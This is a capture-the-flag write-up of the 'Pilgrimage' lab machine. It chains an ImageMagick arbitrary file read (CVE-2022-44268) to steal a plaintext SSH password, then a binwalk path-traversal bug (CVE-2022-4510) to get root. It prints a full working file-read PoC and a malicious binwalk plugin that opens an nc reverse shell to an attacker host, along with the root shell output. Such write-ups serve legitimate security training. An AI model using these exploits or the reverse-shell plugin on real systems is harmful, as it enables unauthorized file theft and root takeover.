Pilgrimage

Overview

Pilgrimage is an Easy Linux box built around a "shrink my image" web app. The app ships its own copy of magick, and it happens to be a version vulnerable to CVE-2022-44268, which lets a crafted PNG make ImageMagick read an arbitrary file on disk during processing and hand the contents back embedded in the output image. Using that, I read /etc/passwd to confirm a user (emily), then read the app's SQLite database to pull her password straight out of the users table. That gets me SSH access and the user flag. Root comes from a script running as root that watches the app's upload directory and runs binwalk -e on anything that lands there — binwalk on this box is vulnerable to CVE-2022-4510, a path-traversal bug in its extraction logic, which lets a crafted archive escape the extraction directory and write a malicious binwalk plugin that pops a reverse shell as root the moment the watcher script triggers on it.

Pilgrimage

Reconnaissance

Full TCP port sweep first, then version detection on whatever answers:

nmap -sCV -p- -v -T4 <ip> -oN nmap
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 20:be:60:d2:95:f6:28:c1:b7:e9:e8:17:06:f1:68:f3 (RSA)
|   256 0e:b6:a6:a8:c9:9b:41:73:74:6e:70:18:0d:5f:e0:af (ECDSA)
|_  256 d1:4e:29:3c:70:86:69:b4:d7:2c:c8:0b:48:6e:98:04 (ED25519)
80/tcp open  http    nginx 1.18.0
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://pilgrimage.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Just SSH and HTTP. Port 80 redirects to pilgrimage.htb, so that goes in /etc/hosts before doing anything else:

echo "<ip> pilgrimage.htb" | sudo tee -a /etc/hosts

Web Enumeration

The site is an image-shrinking service — register an account, log in, and there's an upload form that takes a PNG or JPEG and gives back a smaller version of it.

Pilgrimage homepage

A directory brute force turns up a .git directory sitting in the webroot:

ffuf -u http://pilgrimage.htb/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://pilgrimage.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.git                    [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 119ms]
.git/HEAD               [Status: 200, Size: 23, Words: 2, Lines: 2, Duration: 135ms]
.git/config             [Status: 200, Size: 92, Words: 9, Lines: 6, Duration: 136ms]
.htaccess               [Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 136ms]
.hta                    [Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 137ms]
.git/logs/              [Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 136ms]
.htpasswd               [Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 136ms]
assets                  [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 123ms]

An exposed .git with the actual app source behind it is worth grabbing:

git-dumper http://pilgrimage.htb/.git/ pilgrimage-src

Most of the dumped source is unremarkable PHP, but sitting in it is a bundled binary called magick — the app doesn't shell out to a system-installed ImageMagick, it ships its own copy to do the shrinking:

$ ./magick --version
Version: ImageMagick 7.1.0-49 beta Q16-HDRI x86_64 c243c9281:20220911 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype jbig jng jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (7.5)

That specific beta build is old enough to be interesting, so it's worth checking for known CVEs.

Foothold — CVE-2022-44268 (ImageMagick arbitrary file read)

That version of ImageMagick is vulnerable to CVE-2022-44268: when it processes a PNG, it looks at the zTXt/tEXt chunk with the keyword profile and treats the value as a filename to load as an ICC color profile. If the file exists, ImageMagick reads it and embeds its content (as hex) back into the output PNG's own zTXt chunk. Since the shrink feature runs every uploaded image through this exact magick binary and hands the result back for download, I can smuggle a filename in, get the shrunk copy back, and pull an arbitrary file's contents out of it.

There's a public PoC for building the malicious PNG and parsing the leak back out:

#!/usr/bin/env python3
import sys
import png
import zlib
import argparse
import binascii
import logging

logging.basicConfig(stream=sys.stderr, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
d = zlib.decompressobj()
e = zlib.compressobj()
IHDR = b'\x00\x00\x00\n\x00\x00\x00\n\x08\x02\x00\x00\x00'
IDAT = b'x\x9c\xbd\xcc\xa1\x11\xc0 \x0cF\xe1\xb4\x03D\x91\x8b`\xffm\x98\x010\x89\x01\xc5\x00\xfc\xb8\n\x8eV\xf6\xd9' \
       b'\xef\xee])%z\xef\xfe\xb0\x9f\xb8\xf7^J!\xa2Zkkm\xe7\x10\x02\x80\x9c\xf3\x9cSD\x0esU\x1dc\xa8\xeaa\x0e\xc0' \
       b'\xccb\x8cf\x06`gwgf\x11afw\x7fx\x01^K+F'


def parse_data(data: bytes) -> str:
    _, data = data.strip().split(b'\n', 1)
    return binascii.unhexlify(data.replace(b'\n', b'')).decode()


def read(filename: str):
    if not filename:
        logging.error('you must specify a input filename')
        return

    res = ''
    p = png.Reader(filename=filename)
    for k, v in p.chunks():
        logging.info("chunk %s found, value = %r", k.decode(), v)
        if k == b'zTXt':
            name, data = v.split(b'\x00', 1)
            res = parse_data(d.decompress(data[1:]))

    if res:
        sys.stdout.write(res)
        sys.stdout.flush()


def write(from_filename, to_filename, read_filename):
    if not to_filename:
        logging.error('you must specify a output filename')
        return

    with open(to_filename, 'wb') as f:
        f.write(png.signature)
        if from_filename:
            p = png.Reader(filename=from_filename)
            for k, v in p.chunks():
                if k != b'IEND':
                    png.write_chunk(f, k, v)
        else:
            png.write_chunk(f, b'IHDR', IHDR)
            png.write_chunk(f, b'IDAT', IDAT)

        png.write_chunk(f, b"tEXt", b"profile\x00" + read_filename.encode())
        png.write_chunk(f, b'IEND', b'')


def main():
    parser = argparse.ArgumentParser(description='POC for CVE-2022-44268')
    parser.add_argument('action', type=str, choices=('generate', 'parse'))
    parser.add_argument('-i', '--input', type=str, help='input filename')
    parser.add_argument('-o', '--output', type=str, help='output filename')
    parser.add_argument('-r', '--read', type=str, help='target file to read', default='/etc/passwd')
    args = parser.parse_args()
    if args.action == 'generate':
        write(args.input, args.output, args.read)
    elif args.action == 'parse':
        read(args.input)
    else:
        logging.error("bad action")


if __name__ == '__main__':
    main()

First pass, just to prove the read works — build a PNG that asks ImageMagick to embed /etc/passwd:

python3 poc.py generate -o poc.png -r /etc/passwd

Upload poc.png through the app's shrink feature, then download the shrunk copy from the site and pull the leaked data back out with identify:

identify -verbose ~/Downloads/poc.png

decoded /etc/passwd

That confirms an emily user on the box.

yescat

The app itself is a PHP app backed by SQLite, so the obvious next target is its database — same PoC, just pointed at the DB file instead of /etc/passwd:

python3 poc.py generate -o poc.png -r /var/db/pilgrimage

Upload, shrink, download, decode the same way:

identify -verbose ~/Downloads/poc.png

decoded users table

That hands back the users table straight out of the SQLite file, emily included, with her password sitting right there in plaintext.

Foothold — SSH as emily

Those credentials work over SSH:

sshpass -p 'abigchonkyboi123' ssh emily@pilgrimage.htb
emily@pilgrimage:~$ id
uid=1000(emily) gid=1000(emily) groups=1000(emily)

User flag grabbed at /home/emily/user.txt.

dance

Privilege Escalation — emily to root

Basic process enumeration turns up something watching the app's upload directory as root:

emily@pilgrimage:~$ ps auxww

Buried in the output is a root-owned /usr/sbin/malwarescan.sh, wrapping an inotifywait on /var/www/pilgrimage.htb/shrunk/ — the same directory the shrink feature writes finished images into. The script itself reads:

#!/bin/bash

blacklist=("Executable script" "Microsoft executable")

/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
        filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
        binout="$(/usr/local/bin/binwalk -e "$filename")"
        for banned in "${blacklist[@]}"; do
                if [[ "$binout" == *"$banned"* ]]; then
                        /usr/bin/rm "$filename"
                        break
                fi
        done
done

Every new file dropped into shrunk/ gets run through binwalk -e as root, looking for embedded executables to delete. Checking the installed version:

emily@pilgrimage:~$ binwalk -h
Binwalk v2.3.2

binwalk 2.3.2 is vulnerable to CVE-2022-4510, a path traversal in its extraction routine: a crafted archive can use ../ sequences in an internal filename to make binwalk -e write extracted content outside of the intended extraction directory. Since this script runs binwalk -e as root on anything I can drop into shrunk/, that's an arbitrary file write as root.

There's a public PoC for building the malicious archive: adhikara13/CVE-2022-4510-WalkingPath. It can plant a binwalk plugin — plugins live under ~/.config/binwalk/plugins/ and binwalk auto-loads and runs anything it finds there — so I built one that opens a reverse shell:

python walkingpath.py reverse root.png <attacker_ip> 4444

That produces binwalk_exploit.png, which path-traverses out of the extraction dir to drop a plugin at /root/.config/binwalk/plugins/binwalk.py:

import binwalk.core.plugin

import os

import shutil

class MaliciousExtractor(binwalk.core.plugin.Plugin):

    def init(self):

        if not os.path.exists('/tmp/.binwalk'):

            os.system("nc <attacker_ip> 4444 -e /bin/bash 2>/dev/null &")

            with open('/tmp/.binwalk', 'w') as temp_file:

                temp_file.write('1')

        else:

            os.remove('/tmp/.binwalk')

            os.remove(os.path.abspath(__file__))

            shutil.rmtree(os.path.join(os.path.dirname(os.path.abspath(__file__)), '__pycache__'))

Drop it into the watched directory as emily and start a listener:

sshpass -p 'abigchonkyboi123' scp binwalk_exploit.png emily@pilgrimage.htb:/var/www/pilgrimage.htb/shrunk/
nc -lnvp 4444

Nothing comes back. The file is there and malwarescan.sh did run binwalk -e against it — checking it a minute later, the file survived instead of getting deleted, so it wasn't flagged by the blacklist — but no shell:

emily@pilgrimage:/var/www/pilgrimage.htb/shrunk$ ls -lah
total 12K
drwxrwxrwx 2 root  root  4.0K Sep  5 07:30 .
drwxr-xr-x 7 root  root  4.0K Jun  8  2023 ..
-rw-r--r-- 1 emily emily  710 Sep  5 07:32 binwalk_exploit.png
emily@pilgrimage:/var/www/pilgrimage.htb/shrunk$ cat binwalk_exploit.png
PFS/0.9../../../.config/binwalk/plugins/binwalk.py4�.import binwalk.core.plugin

The cat confirms the payload is doing what it should — that ../../../.config/binwalk/plugins/binwalk.py path traversal is sitting right there in the raw file. To see what was actually happening on the box while all this ran, I pulled down pspy64 to watch processes without needing root:

emily@pilgrimage:/tmp$ wget http://<attacker_ip>/pspy64
emily@pilgrimage:/tmp$ chmod +x pspy64 && ./pspy64

That confirmed inotifywait/binwalk -e really were firing on every new file in shrunk/ — so the extraction itself was working. The piece I'd missed: binwalk -e on this first file is what writes the plugin out to /root/.config/binwalk/plugins/binwalk.py via the path traversal, but binwalk only loads plugins that are already sitting in that directory before a scan starts. So this first scan plants the plugin — it doesn't run it. Getting the reverse shell needs a second binwalk -e invocation, i.e. a second file-creation event for malwarescan.sh to catch. Simplest way to force that is to just copy the same payload to a new filename in shrunk/:

emily@pilgrimage:/var/www/pilgrimage.htb/shrunk$ ls
binwalk_exploit.png
emily@pilgrimage:/var/www/pilgrimage.htb/shrunk$ cp binwalk_exploit.png 48sdsdvd6rvdevc584.png
emily@pilgrimage:/var/www/pilgrimage.htb/shrunk$ ls
48sdsdvd6rvdevc584.png  binwalk_exploit.png

That cp is a fresh create event, inotifywait fires again, binwalk -e runs a second time as root — and this time the plugin is already in place to be loaded, so it executes:

listening on [any] 4444 ...
connect to [<attacker_ip>] from (UNKNOWN) [<target_ip>] 54566
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
0408a38f73289b711a4e07d5850a2ad3

iamroot

Takeaways

  • Never trust a bundled/vendored binary to be patched just because the OS packages are — this app shipped its own beta magick build years out of date, and that's what actually got exploited (CVE-2022-44268).
  • Anything that reads back a file you uploaded (image processors, PDF renderers, converters) is worth checking against known CVEs for the exact library/version in use — an "arbitrary file read via re-encoding" bug is a very general class of vulnerability, not unique to ImageMagick.
  • A "helpful" security script (here, a malware scanner watching an upload directory) is itself attack surface: it's running a vulnerable tool (binwalk 2.3.2, CVE-2022-4510) as root against attacker-controlled input, which turns a defensive control into the actual privesc path.

spidey

← More Machines